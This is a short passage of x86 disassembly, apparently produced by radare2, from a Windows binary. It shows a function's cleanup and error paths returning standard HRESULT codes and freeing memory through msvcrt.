lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp + 8]
push esi
call edi
test eax, eax
je 0x404979
xor edi, edi
push dword [ebp - 8]
call fcn.00403021
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 8
mov edi, 0x8007000e
jmp 0x402a80
mov edi, 0x8007000e
jmp 0x402a89
mov eax, 0x80004003
jmp 0x402a8c
mov eax, 0x80070057
jmp 0x402a8c
call fcn.00407985
push dword [ebx]
mov edi, eax
call dword [sym.imp.msvcrt.dll_free]
pop ecx
mov dword [ebx], esi
jmp 0x402a80
push eax
call fcn.0040799f
mov edi, eax
jmp 0x402a89